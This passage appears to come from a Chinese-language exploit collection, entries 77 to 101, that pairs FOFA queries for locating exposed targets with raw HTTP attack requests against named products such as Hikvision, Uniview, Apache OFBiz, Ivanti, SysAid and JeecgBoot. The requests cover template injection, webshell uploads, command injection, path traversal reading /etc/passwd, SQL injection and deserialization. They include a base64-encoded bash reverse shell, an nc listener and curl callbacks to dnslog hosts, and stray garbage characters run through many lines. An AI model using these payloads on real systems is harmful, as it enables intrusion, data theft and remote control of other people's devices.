Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 J8 C9 o" e$ @0 Y8 u% D; zCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
$ n7 C$ E) P3 F; B5 G
3 C) A! a8 z' D$ g/ X{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
! [. U: R/ b3 n& w! d1 m8 g  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

! Y& h4 T3 Z$ R9 Y
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
; d" H) F8 O0 fHost: x.x.x.x



. A* C% c) c! O5 ^, }0 C77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
4 F( Y; {5 m! T5 s/ y/ N0 pPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
- S6 u$ C, }- w" L- k5 }# IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% G0 s# k* E0 ?, T' y9 d9 sConnection: close
Content-Length: 433
Accept: */*
9 r* V6 {5 p; O2 ^# {' [  D% R0 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
8 g- F) B! Z4 f  g+ q; H4 H$ l5 G
* }5 O: a( H( _------------398jnjVTTlDVXHlE7yYnfwBoix
* V, _: ]9 M0 E# K, E- {( JContent-Disposition: form-data; name="folder"

9 n) c  ?! a  s7 }' \/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
6 t6 K5 x) k6 |) E0 SContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
7 [6 b* h! S8 j/ B8 E( K% f4 f
# g( S% a5 L  ^# J3 v; [, P( _hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

- y7 D' @4 `; Z, ?6 y5 MSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

0 O. F2 L9 r  v$ t  }9 u, g# b
& O. P2 |. A% s& b# t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
& u" W/ ?0 \0 \1 S5 FHost: x.x.x.x
! `8 p; u. n0 z  \7 {* t& f! FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 s% d& j; G6 E. Z) ]0 G+ xConnection: close
Content-Length: 336
& @! e, h" K. ?' v, l# U6 ~Accept-Encoding: gzip
% o* U& t4 S5 _8 l  X6 ?Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
. R' c" i2 w' c$ }, Q+ Y: z* pContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
% g3 U- y. y# ]) J, a( J2 g! o8 k, U3 r------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
" J& g& Y1 D  B1 [- z9 t7 m

# h" x$ Q" f( q* i) ?/ oGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


% `$ e2 H, ]9 a79. BYTEVALUE 百为流控路由器远程命令执行
1 f6 Y9 R9 |5 W7 MFOFA：BYTEVALUE 智能流控路由器
9 B$ H+ s* W2 _* e2 iGET /goform/webRead/open/?path=|id HTTP/1.1
6 F; U7 F1 W6 M  U$ D0 AHost:IP
/ P7 y+ D  h" g1 D* N5 ]2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; N* e! {6 N) I& jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ _9 a. ^( P$ g# ?3 P) H! C' ^Connection: close
: Q6 I$ V3 O  Z  l; Y' `+ ]3 PUpgrade-Insecure-Requests: 1
: w; o+ F4 B9 I2 ^4 W1 c- b3 s

8 \6 i4 ]% d- q2 Z. P2 Z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
% ]  P& b7 L. D  F# rFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
7 n1 f* R# ?' F1 i2 o2 F/ [Host: x.x.x.x
+ S" P) x+ m8 N, V) K' }$ GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
% t% c* ~, e# o" c' i. gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! V7 x" N1 q- m/ n5 j; R. Q( S( J7 k: w: ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ?% t, p$ z; w( z6 O& iConnection: close
- V! Q6 `% }) k6 M2 WContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

3 \+ n( J5 `* ?& i9 L$ k# j; D; V<% out.print("oessqeonylzaf");%>
( C& w8 y! [- K

$ y5 K* p; ]% c( S5 l4 Y/ w& w9 qGET /xykqmfxpoas.jsp HTTP/1.1
0 y, m  g/ L7 b4 y3 u' Z8 t' N5 wHost: x.x.x.x
5 q8 Y1 S9 J6 X# G( |9 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 D: b* b3 s6 WConnection: close
1 r/ _  z, d1 yAccept-Encoding: gzip


4 \: c* h& w$ j+ ?6 g81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
( K+ Z) o3 o9 w( K, _# YGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
3 m: C1 _4 k2 T' ]+ f) j! jHost: x.x.x.x
2 x8 T$ V' m; c+ h+ xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" d( H6 w+ a1 N8 J4 c& k5 e3 }( {Connection: close
  m4 v* |2 S+ [( c8 E! bAccept-Encoding: gzip
/ q- H  i0 F9 n

" ?( d# S. [& _+ H5 J" J82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
3 L# Y. J. a& {& f5 a% \FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
! d% `4 H" d) \$ @Host: BaseURL
* a" g6 j; E: o9 ~* KUser-Agent: Go-http-client/1.1
/ p, O1 P" E1 A' e7 a5 wContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
5 ?' ]7 X; G% `
( s8 b' n" q0 U1 u2 g! N; ]
83. JeecgBoot testConnection 远程命令执行
2 b4 @  b* w! n3 ]3 j2 A) Z8 bFOFA：title=="JeecgBoot 企业级低代码平台"
! b; q2 P2 m& {& ]' N6 w- p
" m# @$ T5 z0 {& H9 t) R. c/ A
. \' O% l% \7 Y' xPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
+ ~8 |$ j5 M# p/ }7 [7 h, UCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
" T  Z  ~" a& s& SContent-Type: application/json
0 b# V: P  u! p5 s  G
PAYLOAD

; V4 v: D) d4 i/ u2 @( i84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
8 ~: j1 g. [) ~) y/ t/ g; N" [

# V1 Q- U- p0 M8 Q' V2 {
. }. Z! n9 z; k( R. {7 |/ b# mPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
+ O, P) y! j: G/ R" f1 kHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
- G. ?" O, y9 P/ KContent-Length: 156
: W& ~' n" o" {# o3 L& p# mAccept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
. a, X& ?% b; E* n/ c
$ O" b0 g" Y' t& D# `) v4 G: s9 I{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
. ]: t7 h% D3 R+ f}

. t9 f2 i5 F! e9 o
1 D' X, V# F! c: B6 K3 ~: L& L1 |85. SysAid On-premise< 23.3.36远程代码执行
+ p7 ]' F9 G; T2 {- N2 K- FCVE-2023-47246
6 U+ S' q' m) O8 }0 P3 QFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
( m% P; P% ~* hHost: x.x.x.x
9 m, a" h8 @1 U& ]. g: ]5 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
& t3 j! B% C) M$ p: s. X) KAccept-Encoding: gzip
. B5 ]8 Y" Y/ }
PAYLOAD
8 |7 T- U" A1 a. W* P  ?3 n4 ~
- n3 j9 ?2 \7 g9 k  l回显URL：http://x.x.x.x/userfiles/index.jsp

/ V; n4 @/ {& j4 Q* o86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
& D/ m8 f. P, @" @/ @& K% |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 C% U0 @/ X' sConnection: close
4 E) _6 w) J+ [4 VContent-Length: 44
Accept: */*
( |* j$ K4 z. C7 oAccept-Encoding: gzip
9 u- r+ P" x( qAccept-Language: en
* k! ?, ~/ r+ |- M& K+ qContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
6 q( Q  R/ Z' c, H+ s& I
: E* N$ n( B$ Z0 b+ N" R9 [8 O/ w
87. 安恒明御安全网关aaa_local_web_preview文件上传
2 {; e. X! e8 s. u% q5 M1 `FOFA：title="明御安全网关"
: Z, z9 z% v. z* D0 hPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
" W/ `7 S! z3 C, X- AContent-Type: text/plain
- D0 b$ O# n: u7 u7 N; n( E1 o3 A8 M
: b- @6 m. {" M) Z& ^# v: C/ T2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


0 e( J. t& F, u$ K; e$ y, D  h/jfhatuwe.php
( ?4 \+ l, N' m) M5 _4 [
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
: q* Y9 G) V% NHost: x.x.x.xx.x.x.x
2 S  @$ ]! B1 F) J. \. aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ Y' X+ ?* A5 \( A% uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! _$ p8 V2 m/ O, u+ gAccept-Encoding: gzip, deflate
, |' p, @+ W# c% r  ^5 b2 b) H! rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 o# O( B' m: J: u

$ J9 \2 r3 h- R' k; {/astdfkhl.php

# V: w& T6 m0 R! s0 G: P' C89. 致远互联FE协作办公平台editflow_manager存在sql注入
, {: j# P0 t. C- ?" E: TFOFA：title="FE协作办公平台" || body="li_plugins_download"
+ ~* V. p6 |" S2 w% HPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& t  H/ y" ~. e: \0 r2 |/ m7 \7 fConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
7 V' T- t! j  u7 G, tAccept-Encoding: gzip
; f9 j5 E% a5 ^2 A( E
( n2 N+ w  `* J8 y" l$ Joption=2&GUID=-1'+union+select+111*222--+
9 {8 f' u7 G+ q* u; o

3 ^- q0 y# n' c1 y1 S2 ^90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
8 o! O2 ?9 Z$ k! v) w! m$ ?. q+ A' pFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
1 T" \" U# X, e0 b8 \Host: x.x.x.x
3 p8 D" W  `) U' YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
6 o7 |- z" V7 u( eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ i9 a! p) Z8 i8 q  n5 NConnection: close
Content-Type: application/x-www-form-urlencoded
1 ^) B! l. \3 a' w4 J. b4 W" H/ BX-Requested-With: XMLHttpRequest
0 {/ F0 D; D- \0 `: W+ b0 M" \  J
8 m, z- m3 s. {3 o) Y3 wjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
8 P6 Y6 m/ P- g; q5 {3 g, N; B) B) IFOFA：title="综合安防管理平台"
% t5 l# o/ a  l3 j4 u5 A) y& f5 M/ JGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% e- D% h, e" ~& VAccept-Encoding: gzip, deflate
Accept: */*
8 W! i. e- v7 x) aConnection: keep-alive



92. 海康威视运行管理中心session命令执行
4 u- Z7 c" x* z1 O6 xFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
3 X4 W* q3 P! n! _: LAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
: Y( ?& s8 _) P) l# m) OContent-Type: application/json;charset=UTF-8
% B" V* p/ r# N1 [. b0 nX-Language-Type: zh_CN
  v( O6 H( D) ]- A) P' m0 QTestcmd: echo test
; Q# v  c, N6 ^- K2 \2 h' u3 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
* `' }7 ~' C; ?8 E- hAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

8 @* [) |' r7 X3 Z: I. wPAYLOAD

) w, o( m% k( E3 K$ {
' C4 z- S5 f, `* a; ~% o93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
& o: b: V# ~& L* O8 N  @FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
' Z# r. b. r' i' h" M8 APOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
3 c0 `% q: {; t( e) v8 {8 ]) G9 JContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

9 h5 C4 d$ A  K4 B8 C* T/ V+ j& e------WebKitFormBoundarykcbkgdfx
  {; G! _' o8 t# [, F7 CContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
' K: A6 U# f# c5 o8 x( @) k------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
9 _4 t+ q& B) L( G' i, RContent-Type: text/plain
7 v% |% ?+ ]; C+ f4 z, G
. A" w+ J" J+ w' ^) owagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
7 I$ k' t1 I9 r; L. s  r6 x! c- cContent-Disposition: form-data; name="submit_post"
' Y# j  c  H5 ?9 I
obj_app_upfile
. F' {9 j: H4 o9 m3 |------WebKitFormBoundarykcbkgdfx
4 D8 \+ b7 T8 X, PContent-Disposition: form-data; name="__hash__"
, r+ f; b8 S! k& I  x. z. u
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

" _5 O* s8 l' Y
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
9 C. |* s5 D- Z/ T, `$ @. SContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
+ N) p/ u* i# G% A  y1 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

9 Y$ P4 c! g9 q( A& O- A( n' x: v: m10000000
------WebKitFormBoundarybqvzqvmt
0 ^1 T' h$ G( ?. C7 F+ W  c1 qContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
. i) ~: R; ^$ C  Z+ hContent-Type: text/plain
! Z. e/ N8 r4 g) f" k0 N3 o
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

) {, v: {5 K" O  E% y9 }+ robj_app_upfile
------WebKitFormBoundarybqvzqvmt
4 n9 T# x+ I" e0 dContent-Disposition: form-data; name="__hash__"
9 f5 i* v" }) t" q& e# j  t
( p$ r4 Z! {+ w$ q) ]0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

& t. q; i5 N7 A: \3 ?
9 k+ f: k0 B+ \7 r
GET /attachements/xlskxknxa.txt HTTP/1.1
& ]' c1 p5 ?5 F/ ]Host: xx.xx.xx.xx
5 W7 |6 x4 ^2 s5 {" k5 [) p& m! cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


2 v7 @. t5 g8 r7 k
4 L7 _% W+ `7 c0 S95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
. x! D$ V( U! C- [$ w7 [# R3 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
& C# s* X) t3 s. h  x( G6 l* e, S( cContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

. r6 ]" Y% [0 h# B3 n7 q<?xml version="1.0"?>
  n+ ?4 o/ _# N/ I9 b) b<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
+ u: X" [7 {; O# q      <param>
. m& [0 s6 O2 p4 r0 ^      <value>
9 d0 y: O7 _# h+ }4 c  l. v) e        <struct>
; `. M& E* P& J3 S0 M7 `       <member>
          <name>test</name>
" N6 w1 o# s. q) J' @9 K. q' `          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
" E5 n3 N( T: B  r7 Q# g          </value>
        </member>
      </struct>
      </value>
  f# K- }, `4 l    </param>
    </params>
</methodCall>
+ b1 d4 X" Z& a
: V; J2 K  S: [4 n# Y8 t! e7 m
用ysoserial生成payload
$ L: w' n& b. N5 Pjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
% e* @* @# R; Q9 i5 O; j  V' [

将生成的payload替换到上面的POC
6 B  V* i+ E4 U# e  bPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
( L, B- x3 ^9 v9 ~" v9 WHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 d8 J4 h! ?. r9 B- MContent-Length: 889
. E0 F3 R6 t+ p6 n4 P; iContent-Type: application/xml
% t; H6 r) t9 w2 T- nAccept-Encoding: gzip
% ^) a: g4 ~5 X1 m4 ?9 o& G
PAYLOAD
. v; w  L- f) |- i4 T: b
2 E! T$ C) |5 ^' _2 j96. Apache OFBiz  18.12.11 groovy 远程代码执行
: s+ {! @# d+ f/ T, F( nFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
6 I( @7 C5 x5 G- N" c. `- S1 HHost: localhost:8443
5 u9 O8 U4 L# s1 X/ KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
, H6 R9 X/ U( n" S6 f( R) GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' a6 z& N0 Q2 g% {Content-Type: application/x-www-form-urlencoded
Content-Length: 55

! m0 M4 `5 O' H6 U1 o! Y% z1 ^groovyProgram=throw+new+Exception('id'.execute().text);
1 u( o2 w4 X3 r" q

反弹shell
在kali上启动一个监听
nc -lvp 7777

- K5 [' e4 Q$ z, R1 OPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
2 p5 ^+ l. C6 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% n9 _/ l( I: i/ W% G2 p1 F  \9 jAccept: */*
- m3 [% G# W* iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) L2 }" ?5 M+ X# ]& P5 `7 cContent-Type: application/x-www-form-urlencoded
8 X, c, F- X7 aContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

9 H  ~- Q& X/ L# X, |97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
7 v) }* y8 K: b( UGET /passport/login/ HTTP/1.1
7 f' P6 ?" A5 H% r7 _& f' RHost: 192.168.40.130:8085
2 p7 {9 f  R5 a4 _/ h# P  N9 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* V' ?$ B; L. o4 K) KAccept-Encoding: gzip
Connection: close
+ f. U4 ]% P0 }Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
# v. q4 r( a; r) \/ v

- F4 R$ U: F6 G7 t1 I7 e0 p0 _; N98. SpiderFlow爬虫平台远程命令执行
' P- q2 v. l4 L% i; `8 VCVE-2024-0195
# _- F2 {* Y( ^1 X. a; _1 ~FOFA：app="SpiderFlow"
6 \; _( Z8 h% \POST /function/save HTTP/1.1
: [% O; `# _& U7 |2 Y: @Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( `* j; j( |* A( f& W& A( GConnection: close
" p9 h% N# c$ c& V3 K% K7 P7 MContent-Length: 121
Accept: */*
4 I$ s; W( V& T7 }4 C  `2 ZAccept-Encoding: gzip, deflate
/ Y) ^- n/ O- a* t( Z/ dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 k3 }! g& J" E& a" dX-Requested-With: XMLHttpRequest
+ @' T$ F' ^3 n4 a- ]! \
! |& g0 A: ?6 w$ ~6 pid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

7 K; t1 j, f* B# L" v
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
3 Y! r& k9 B" ?' a: y: ]8 g6 K) E& MPOST /classes/common/busiFacade.php HTTP/1.1
9 h5 k( O# a1 H: O2 O3 y: F" XHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  G% b5 U3 w$ n; `) JConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; U) L% H' N, N/ N& U0 NX-Requested-With: XMLHttpRequest
' r! M! u& O" [
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
4 G% R; Y$ ?0 u2 S: k" W& ^5 G( |8 qCVE-2024-0352
1 k' s2 t/ o6 I: i" ~' L' N: TFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
% B4 w: y, Q& b5 a* eContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

% K/ s: n  K1 [$ M  Y* s+ G------WebKitFormBoundarygcflwtei
/ s  _( X6 T) Z8 SContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

- ?+ x' D/ O' M9 m9 @3 t9 U4 p7 }2ayyhRXiAsKXL8olvF5s4qqyI2O
" n( g% m! t- p' C* r------WebKitFormBoundarygcflwtei--
7 l; n  r  B% K. u# G* H, I
; `8 l( H+ F# |
# U# n2 W4 g9 l: V- c2 P101. ivanti policy secure-22.6命令注入
1 C) P1 v4 ~, L3 G/ n* c: \& ?CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
4 J2 Y  ]1 R% }! M8 {3 W: SHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 L- e* e; N4 T4 `( b( }4 k- BConnection: close
